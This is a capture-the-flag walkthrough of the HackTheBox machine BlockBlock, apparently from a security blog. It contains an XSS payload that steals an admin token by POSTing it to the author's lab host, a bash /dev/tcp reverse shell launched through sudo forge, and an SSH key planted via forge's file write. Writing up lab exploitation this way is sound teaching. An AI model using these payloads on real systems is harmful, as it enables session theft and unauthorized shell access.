HTB: BlockBlock

BlockBlock offers a chat application where the database is built on the blockchain using smart contracts. I’ll abuse a cross-site scripting vulnerability along with an api endpoint that reflects the user’s authentication cookie to get access to the admin’s account. From there, I’ll figure out how to make JSON RPC calls against the local Etherium instance, and read the raw blocks of the blockchain to find a password that provides SSH access. The user can run forge as another user, which I’ll abuse three ways to get execution and a shell as that second user. That user can run the pacman, the package manager for Arch Linux, as root. I’ll show several different ways to abuse this to get root.
Box Info
Name | BlockBlock ![]() Play on HackTheBox |
---|---|
Release Date | 16 Nov 2024 |
Retire Date | 29 Mar 2025 |
OS | Linux ![]() |
Base Points | Hard [40] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
05:19:00 |
![]() |
13:48:40 |
Creator |
Recon
nmap
nmap
finds three open TCP ports, SSH (22) and two HTTP servers (80, 8545):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-15 12:01 UTC
Nmap scan report for 10.10.11.43
Host is up (0.10s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8545/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 8.41 seconds
oxdf@hacky$ nmap -p 22,80,8545 -sCV 10.10.11.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-15 12:03 UTC
Nmap scan report for 10.10.11.43
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug/3.0.3 Python/3.12.3
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: Home - DBLC
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Sat, 15 Mar 2025 12:05:16 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 275864
| Access-Control-Allow-Origin: http://0.0.0.0/
| Access-Control-Allow-Headers: Content-Type,Authorization
| Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| Home - DBLC
| </title>
| <link rel="stylesheet" href="/assets/nav-bar.css">
| </head>
| <body>
| <!-- <main> -->
| <meta charset=utf-8>
| <meta name=viewport content="width=device-width, initial-scale=1">
| <style>
| :after,
| :before {
| box-sizing: border-box;
| border: 0 solid #e5e7eb
| :after,
| :before {
| --tw-content: ""
| :host,
| html {
| line-height: 1.5;
| HTTPOptions:
| HTTP/1.1 500 INTERNAL SERVER ERROR
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Sat, 15 Mar 2025 12:05:16 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 265
| Access-Control-Allow-Origin: http://0.0.0.0/
| Access-Control-Allow-Headers: Content-Type,Authorization
| Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>500 Internal Server Error</title>
| <h1>Internal Server Error</h1>
|_ <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
8545/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 BAD REQUEST
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Sat, 15 Mar 2025 12:05:16 GMT
| content-type: text/plain; charset=utf-8
| Content-Length: 43
| vary: origin, access-control-request-method, access-control-request-headers
| access-control-allow-origin: *
| date: Sat, 15 Mar 2025 12:05:16 GMT
| Connection: close
| Connection header did not include 'upgrade'
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Sat, 15 Mar 2025 12:05:16 GMT
| Content-Type: text/html; charset=utf-8
| Allow: POST, GET, HEAD, OPTIONS
| Access-Control-Allow-Origin: *
| Content-Length: 0
| Connection: close
| Help:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('HELP').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=3/15%Time=67D56C8A%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,3004,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3\x
SF:20Python/3\.12\.3\r\nDate:\x20Sat,\x2015\x20Mar\x202025\x2012:05:16\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x20275864\r\nAccess-Control-Allow-Origin:\x20http://0\.0\.0\.0/\r\nAcce
SF:ss-Control-Allow-Headers:\x20Content-Type,Authorization\r\nAccess-Contr
SF:ol-Allow-Methods:\x20GET,POST,PUT,DELETE,OPTIONS\r\nConnection:\x20clos
SF:e\r\n\r\n<!DOCTYPE\x20html>\n<html>\n\n<head>\n\x20\x20\x20\x20<title>\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20Home\x20\x20-\x20DBLC\n\x20\x20\x2
SF:0\x20</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/a
SF:ssets/nav-bar\.css\">\n</head>\n\n<body>\n\x20\x20\x20\x20\n\n\x20\x20\
SF:x20\x20<!--\x20<main>\x20-->\n\x20\x20\x20\x20\n\x20\x20\x20\x20<meta\x
SF:20charset=utf-8>\n\x20\x20\x20\x20<meta\x20name=viewport\x20content=\"w
SF:idth=device-width,\x20initial-scale=1\">\n\x20\x20\x20\x20<style>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20\*,\n\x20\x20\x20\x20\x20\x20\x20\x20:after
SF:,\n\x20\x20\x20\x20\x20\x20\x20\x20:before\x20{\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20box-sizing:\x20border-box;\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20border:\x200\x20solid\x20#e5e7eb\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\x20\x20\x20\x20:after,\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20:before\x20{\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20--tw-content:\x20\"\"\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20}\n\n\x20\x20\x20\x20\x20\x20\x20\x20:host,\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20html\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20line-height:\x201\.5;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20")%r(H
SF:TTPOptions,26D,"HTTP/1\.1\x20500\x20INTERNAL\x20SERVER\x20ERROR\r\nServ
SF:er:\x20Werkzeug/3\.0\.3\x20Python/3\.12\.3\r\nDate:\x20Sat,\x2015\x20Ma
SF:r\x202025\x2012:05:16\x20GMT\r\nContent-Type:\x20text/html;\x20charset=
SF:utf-8\r\nContent-Length:\x20265\r\nAccess-Control-Allow-Origin:\x20http
SF:://0\.0\.0\.0/\r\nAccess-Control-Allow-Headers:\x20Content-Type,Authori
SF:zation\r\nAccess-Control-Allow-Methods:\x20GET,POST,PUT,DELETE,OPTIONS\
SF:r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<
SF:title>500\x20Internal\x20Server\x20Error</title>\n<h1>Internal\x20Serve
SF:r\x20Error</h1>\n<p>The\x20server\x20encountered\x20an\x20internal\x20e
SF:rror\x20and\x20was\x20unable\x20to\x20complete\x20your\x20request\.\x20
SF:Either\x20the\x20server\x20is\x20overloaded\x20or\x20there\x20is\x20an\
SF:x20error\x20in\x20the\x20application\.</p>\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8545-TCP:V=7.94SVN%I=7%D=3/15%Time=67D56C8A%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,174,"HTTP/1\.1\x20400\x20BAD\x20REQUEST\r\nServer:\x20Werkz
SF:eug/3\.0\.3\x20Python/3\.12\.3\r\nDate:\x20Sat,\x2015\x20Mar\x202025\x2
SF:012:05:16\x20GMT\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x2043\r\nvary:\x20origin,\x20access-control-request-metho
SF:d,\x20access-control-request-headers\r\naccess-control-allow-origin:\x2
SF:0\*\r\ndate:\x20Sat,\x2015\x20Mar\x202025\x2012:05:16\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\nConnection\x20header\x20did\x20not\x20include\x20'
SF:upgrade'")%r(HTTPOptions,ED,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkz
SF:eug/3\.0\.3\x20Python/3\.12\.3\r\nDate:\x20Sat,\x2015\x20Mar\x202025\x2
SF:012:05:16\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAll
SF:ow:\x20POST,\x20GET,\x20HEAD,\x20OPTIONS\r\nAccess-Control-Allow-Origin
SF::\x20\*\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(RTS
SF:PRequest,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x
SF:20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\
SF:x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Err
SF:or\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20
SF:Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20<p>Error\x20code\x20explanation:\x20400\x20-\x20Bad\x20req
SF:uest\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</
SF:body>\n</html>\n")%r(Help,167,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\"
SF:>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20cha
SF:rset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20respon
SF:se</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<p>Message:\x20Bad\x20request\x20syntax\x20\('HELP'\)\.</p>\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20400\x20-\x2
SF:0Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x2
SF:0\x20\x20</body>\n</html>\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.03 seconds
Based on the OpenSSH version looks similar to the Debian trixie or sid versions, but doesn’t quite match. The two webservers are Python Werkzerg (Flask).
Website - TCP 80
Site
The website is for a “secure decentralized blockchain chat”:

Trying to visit the “Chat” link goes to /chat
which returns JSON that shows a failure for lack of auth:

“Profile” looks exactly the same.
“Login” shows a login form:

The forgot password link doesn’t work.
Filling out the registration form then redirects to /chat
, which now loads:

The “Report User” button pops an message box:

Regardless of what I enter, it pops another:

The link to “review our smart contracts” returns two .sol
files in a JSON response:

I’ll look at them shortly.
Tech Stack
The HTTP response headers for the site show Python Werkzeug, which is likely Flask:
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.12.3
Date: Sun, 16 Mar 2025 20:11:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 275864
Access-Control-Allow-Origin: http://10.10.11.43/
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Connection: close
There is a custom 404 page, so no hints there:

On logging in, a cookie named token
is set:

It’s a JWT, with nothing too interesting or suspicious, but worth noting that it is HttpOnly
, which means I won’t be able to get it directly via XSS.
Messages API
Every few seconds the /chat
site is sending a GET request to /api/recent_messages
, which returns JSON for recent messages:

Trying to run a brute force errors out very quickly and gets stuck, so I’ll kill it and move on.
TCP 8545
On loading /
there’s immediately two calls to the service on TCP 8545:

The response to the POST request is JSON data:
{"jsonrpc":"2.0","id":1,"result":"0xc"}
It continues to make the OPTIONS request followed by the POST every 10 seconds. The result
field is the value that shows up at the bottom right corner of the page (0xc = 12):

/api/info
In trying to load the main page, it requests /api/info
, which returns a 401 UNAUTHORIZED:
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.0.3 Python/3.12.3
Date: Mon, 17 Mar 2025 22:40:57 GMT
Content-Type: application/json
Content-Length: 35
Access-Control-Allow-Origin: http://10.10.11.43/
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Connection: close
{"msg":"Missing cookie \"token\""}
Once I register an account, it makes the same request, and this time it works:
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.12.3
Date: Mon, 17 Mar 2025 22:45:19 GMT
Content-Type: application/json
Content-Length: 313
Access-Control-Allow-Origin: http://10.10.11.43/
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Connection: close
{"role":"user","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MjI1MTUxOSwianRpIjoiNzMzNjI4YzktZDQxZC00NTUxLWJkMzUtNjU4NDgwZDU5ZjI2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6IjB4ZGYiLCJuYmYiOjE3NDIyNTE1MTksImV4cCI6MTc0Mjg1NjMxOX0.0pJUBOKrXQ8DCEh9hNfgAADqVux_sUf9fnD8DUUilaE","username":"0xdf"}
The token
value is the same token from the cookie in the request:

Etherium RPC - TCP 8545
TCP 8545 is the default port for the Etherium JSON-RPC. Visiting it returns an error:
HTTP/1.1 400 BAD REQUEST
Server: Werkzeug/3.0.3 Python/3.12.3
Date: Mon, 17 Mar 2025 23:07:16 GMT
content-type: text/plain; charset=utf-8
Content-Length: 43
vary: origin, access-control-request-method, access-control-request-headers
access-control-allow-origin: *
date: Mon, 17 Mar 2025 23:07:16 GMT
Connection: close
Connection header did not include 'upgrade'
It seems to be wanting to upgrade to a websocket. If I try to hit the example endpoint from that documentation, it fails:
oxdf@hacky$ curl -H "Content-Type: application/json" -X POST --data '{"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":67}' 10.10.11.43:8545
{"error":"Proxy Couldn't verify token"}
If I use the method
from the site, it does work:
oxdf@hacky$ curl -H "Content-Type: application/json" -X POST --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":67}' 10.10.11.43:8545
{"jsonrpc":"2.0","id":67,"result":"0xd"}
There’s not much else I can do here without a token.
Smart Contracts
Background
.sol
files in this context are Solidity files, a programming language designed for Etherium smart contracts. I’ve looked at Solidity contracts a few times before, most recently in the l33t “Santa’s Proxy Puzzle” challenge in Hackvent 2024.
The .sol
file is the source code that defines smart contracts on the Ethereum blockchain, containing the rules and logic governing an application.
Download
To download the contacts, I’ll use curl
, grabbing my token
cookie from Burp:
oxdf@hacky$ curl -s http://10.10.11.43/api/contract_source -b "token=$token" | jq '."Database.sol"' -r > Database.sol
oxdf@hacky$ curl -s http://10.10.11.43/api/contract_source -b "token=$token" | jq '."Chat.sol"' -r > Chat.sol
Database.sol
This file defines a contract named Database
that manages user accounts. There’s a User
struct:
struct User {
string password;
string role;
bool exists;
}
There are functions for registration, deleting, and updating the password for users. For example, registerAccount
:
function registerAccount(
string memory username,
string memory password
) public onlyOwner {
if (
keccak256(bytes(users[username].password)) != keccak256(bytes(""))
) {
revert("Username already exists");
}
users[username] = User(password, "user", true);
emit AccountRegistered(username);
}
It makes sure that the password isn’t empty, and then creates the User
object with the username and password.
updatePassword
is similar:
function updatePassword(
string calldata username,
string calldata oldPassword,
string calldata newPassword
) public onlyOwner onlyExistingUser(username) {
if (
keccak256(bytes(users[username].password)) !=
keccak256(bytes(oldPassword))
) {
revert("Invalid password");
}
users[username].password = newPassword;
emit PasswordUpdated(username);
}
It’s not at all clear to me why hashing is only used when comparing after the plaintext password is pulled from the database. Maybe that’s just a mistake by the developer (and one I’ll exploit later).
The getAccount
function takes a username and returns the username, password, and role.
function getAccount(
string calldata username
)
public
view
onlyOwner
onlyExistingUser(username)
returns (string memory, string memory, string memory)
{
return (username, users[username].password, users[username].role);
}
So there’s no password verification done in it.
Chart.sol
Chat.sol
defines a contract for chat messages, using the Database
contract defined above for authentication and user management.
There is a Message
struct:
struct Message {
string content;
string sender;
uint256 timestamp;
}
There are functions to get messages by user in different ways. Nothing too interesting here.
Attacks
At this point, I don’t see any vulnerabilities in the contracts. The only slightly insecure thing is that the passwords seem to be stored in plaintext.
I could connect to the blockchain and create instances of these contracts, or find the one used by the site, but I don’t have any authentication information yet.
Shell as keira
Get Admin Cookie
HTML Injection POC
In the chat, there’s a button to report a user:

I’ll try sending an HTML payload to see if it gets rendered anywhere downstream:

I’ll send this, and a few seconds later there’s a hit on my Python webserver from BlockBlock:
10.10.11.43 - - [24/Mar/2025 16:17:29] code 404, message File not found
10.10.11.43 - - [24/Mar/2025 16:17:29] "GET /img.png HTTP/1.1" 404 -
That means my message was presented without sanitization to the admin and loaded as HTML.
XSS POC
I’ll update this payload to try for cross-site scripting (XSS) by making the src
invalid and setting an onerror
with some JavaScript:
<img src="x" onerror="fetch('http://10.10.14.6/xss')" />
Send this does result in a fetch:
10.10.11.43 - - [24/Mar/2025 16:18:50] code 404, message File not found
10.10.11.43 - - [24/Mar/2025 16:18:50] "GET /xss HTTP/1.1" 404 -
That means that my JavaScript was executed on their machine!
Recover Token
During enumeration, I noted that the cookie was HttpOnly
, which means I can’t use document.cookie
to get the admin’s cookie. I also noted the /api/info
endpoint which leaks the current user’s token. I’ll write a payload to fetch this.
<img src="x" onerror="fetch('/api/info').then(resp => resp.text()).then(body => { fetch('http://10.10.14.6/exfil', { method: 'POST', body: body});})" />
This will get /api/info
from the current site, and then send the response in a POST request back to me, much like I did last week in Alert. I’ll just run nc
on 80 to catch the response. A couple seconds after sending this I’ll get this:
oxdf@hacky$ nc -lnvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.43 59836
POST /exfil HTTP/1.1
Host: 10.10.14.6
Connection: keep-alive
Content-Length: 316
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.10.11.43
Referer: http://10.10.11.43/
Accept-Encoding: gzip, deflate
{"role":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MjgzNTQyNywianRpIjoiYTE0MDE5NTQtYzBmZi00N2U5LWJkZTItYjE4MDMyZjdlM2RhIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQyODM1NDI3LCJleHAiOjE3NDM0NDAyMjd9.NaU29rgOFPgeaCIWaf7XtBoTCHsuVSNUTmw9HSYmwrY","username":"admin"}
Site
I’ll set this as my cookie in the browser dev tools and reload the main page:

There’s an additional option in the nav bar. Clicking goes to /admin
:

The Posts section has the recent posts:

Users offers a select field with two users (and nothing else):

Get Raw Blockchain
Identify JSON RPC
The site is making a request to /api/chat_address
and then the /api/json-rpc
endpoint from the admin panel. The first request is a GET that returns a blockchain address:

That result turns up as one of the parameters in the in the next call to the JSON RPC API:
POST /api/json-rpc HTTP/1.1
Host: 10.10.11.43
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.43/admin
Content-Type: application/json
token: ac39116c20b86db195ab49079f1c46d301f010d40d4e793dac76c57801a76220
Content-Length: 115
Origin: http://10.10.11.43
Connection: keep-alive
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MjgzNTQyNywianRpIjoiYTE0MDE5NTQtYzBmZi00N2U5LWJkZTItYjE4MDMyZjdlM2RhIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQyODM1NDI3LCJleHAiOjE3NDM0NDAyMjd9.NaU29rgOFPgeaCIWaf7XtBoTCHsuVSNUTmw9HSYmwrY
Priority: u=4
{"jsonrpc":"2.0","method":"eth_getBalance","params":["0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8","latest"],"id":1}
This is not the default JSON RPC, but it seems to be some kind of pass though using the Flask application. eth_getBalance
is an Etherium JSON RPC method. It seems to have both a token
header as well as a cookie named token
.
Get Blocks
There’s another function called eth_getBlockByNumber
(docs) that returns a raw block from the blockchain. It takes a number and a boolean, where the boolean is if I want the full transaction data.
I’ll give it “latest” for the number to get the most recent block, and true
to get all the data:

The latest block is 0xf, and it gives the input data in hex.
Given there’s only 16 blocks, I’ll step through them one by one, looking for interesting data in the input. In block 0x01, the input decodes to:

This data is a binary format, but it has the username keira in it, followed after a bunch of nulls with a string that looks like a password!
SSH
That password works for keira over SSH:
oxdf@hacky$ netexec ssh 10.10.11.43 -u keira -p SomedayBitCoinWillCollapse
SSH 10.10.11.43 22 10.10.11.43 SSH-2.0-OpenSSH_9.7
SSH 10.10.11.43 22 10.10.11.43 [+] keira:SomedayBitCoinWillCollapse Linux - Shell access!
I’ll connect with ssh
:
oxdf@hacky$ sshpass -p SomedayBitCoinWillCollapse ssh keira@10.10.11.43
Last login: Mon Mar 24 14:16:50 2025 from 10.10.14.6
[keira@blockblock ~]$
Disclaimer - I like to use sshpass
to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.
And grab user.txt
:
[keira@blockblock ~]$ cat user.txt
c835aa10************************
Shell as paul
Enumeration
OS
I had a hard time identifying the OS during initial enumeration. It turns out this system is running Arch Linux:
[keira@blockblock ~]$ cat /etc/lsb-release
DISTRIB_ID="Arch"
DISTRIB_RELEASE="rolling"
DISTRIB_DESCRIPTION="Arch Linux"
[keira@blockblock ~]$ uname -a
Linux blockblock 6.9.3-arch1-1 #1 SMP PREEMPT_DYNAMIC Fri, 31 May 2024 15:14:45 +0000 x86_64 GNU/Linux
Users
There are two users with home directories in /home
:
[keira@blockblock home]$ ls
keira paul
That matches the users with shells configured in passwd
:
[keira@blockblock ~]$ cat /etc/passwd | grep "sh$"
root:x:0:0::/root:/usr/bin/bash
keira:x:1000:1000::/home/keira:/bin/bash
paul:x:1001:1001::/home/paul:/bin/bash
keira can run forge
as paul:
[keira@blockblock ~]$ sudo -l
User keira may run the following commands on blockblock:
(paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
RCE via forge
Background
foundry describes itself as:
Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.
- Forge: Build, test, fuzz, debug and deploy Solidity contracts, like Hardhat, Brownie, Ape.
- Cast: A Swiss Army knife for interacting with EVM smart contracts, sending transactions and getting chain data.
- Anvil: Fast local Ethereum development node, akin to Hardhat Network, Tenderly.
- Chisel: Fast, utilitarian, and verbose Solidity REPL.
There’s a ton of documentation in the Foundry Book, specially the section on forge.
The forge
command is the one keira can run as paul. forge -h
will show the menu:
[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge -h
Build, test, fuzz, debug and deploy Solidity contracts
Usage: forge <COMMAND>
Commands:
bind Generate Rust bindings for smart contracts
build Build the project's smart contracts [aliases: b, compile]
cache Manage the Foundry cache
clean Remove the build artifacts and cache directories [aliases: cl]
clone Clone a contract from Etherscan
completions Generate shell completions script [aliases: com]
config Display the current config [aliases: co]
coverage Generate coverage reports
create Deploy a smart contract [aliases: c]
debug Debugs a single smart contract as a script [aliases: d]
doc Generate documentation for the project
flatten Flatten a source file and all of its imports into one file [aliases: f]
fmt Format Solidity source files
geiger Detects usage of unsafe cheat codes in a project and its dependencies
generate Generate scaffold files
generate-fig-spec Generate Fig autocompletion spec [aliases: fig]
help Print this message or the help of the given subcommand(s)
init Create a new Forge project
inspect Get specialized information about a smart contract [aliases: in]
install Install one or multiple dependencies [aliases: i]
remappings Get the automatically inferred remappings for the project [aliases: re]
remove Remove one or multiple dependencies [aliases: rm]
script Run a smart contract as a script, building transactions that can be sent onchain
selectors Function selector utilities [aliases: se]
snapshot Create a snapshot of each test's gas usage [aliases: s]
test Run the project's tests [aliases: t]
tree Display a tree visualization of the project's dependency graph [aliases: tr]
update Update one or multiple dependencies [aliases: u]
verify-bytecode Verify the deployed bytecode against its source [aliases: vb]
verify-check Check verification status on Etherscan [aliases: vc]
verify-contract Verify smart contracts on Etherscan [aliases: v]
Options:
-h, --help Print help
-V, --version Print version
Find more information in the book: http://book.getfoundry.sh/reference/forge/forge.html
There are many ways to exploit this. I’ll show three:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Shell as keira]-->B(<a href='#via-build'>build Command\n--use Execution</a>);
B-->C[Shell as paul];
A-->D(<a href='#via-flatten'>flatten Command\nFile Write</a>);
D-->C;
A-->E(<a href='#via-path-hijack'>Relative\nPath Hijack</a>);
E-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3,4,5 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
Via build
The build
command (docs) in forge
has a --use
option:
--use
solc_version Specify the solc version, or a path to a local solc, to build with.Valid values are in the format
x.y.z
,solc:x.y.z
orpath/to/solc
.
This invokes a specific binary as the compiler!
I’ll create a simple bash reverse shell and set it as executable:
[keira@blockblock shm]$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.6/443 0>&1' | tee shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/443 0>&1
[keira@blockblock shm]$ chmod +x shell.sh
Running forge build --use ./shell.sh
hangs:
[keira@blockblock shm]$ sudo -u paul /home/paul/.foundry/bin/forge build --use ./shell.sh
At my listening nc
, there’s a shell as paul:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.43 35350
[paul@blockblock shm]$ id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
Via flatten
The flatten
command is meant to:
Flatten a source file and all of its imports into one file.
It takes a file as input, and has options for output path:
-o
file--output
file The path to output the flattened contract. If not specified, the flattened contract will be output to stdout.
This sounds like file read / file write.
If I don’t use the output, I can basically read a file:
[keira@blockblock shm]$ sudo -u paul /home/paul/.foundry/bin/forge flatten /etc/hosts
[⠃] Compiling...
// /etc/hosts
127.0.0.1 localhost blockblock blockblock.htb
127.0.1.1 blockblock
[keira@blockblock shm]$ sudo -u paul /home/paul/.foundry/bin/forge flatten /home/paul/.bash_profile
[⠃] Compiling...
// /home/paul/.bash_profile
#
# ~/.bash_profile
#
[[ -f ~/.bashrc ]] && . ~/.bashrc
There’s doesn’t seem to be an authorized_keys
file or a id_rsa
in .ssh
for paul:
[keira@blockblock shm]$ sudo -u paul /home/paul/.foundry/bin/forge flatten /home/paul/.ssh/authorized_keys
Error:
No such file or directory (os error 2)
[keira@blockblock shm]$ sudo -u paul /home/paul/.foundry/bin/forge flatten /home/paul/.ssh/id_rsa
Error:
No such file or directory (os error 2)
I’ll write my public key to a file on BlockBlock:
[keira@blockblock shm]$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > pub
flatten
can read it, and write it:
[keira@blockblock shm]$ sudo -u paul /home/paul/.foundry/bin/forge flatten pub
[⠃] Compiling...
// pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing
[keira@blockblock shm]$ sudo -u paul /home/paul/.foundry/bin/forge flatten pub -o /home/paul/.ssh/authorized_keys
[⠃] Compiling...
Flattened file written at /home/paul/.ssh/authorized_keys
With the public key in place, SSH as paul works:
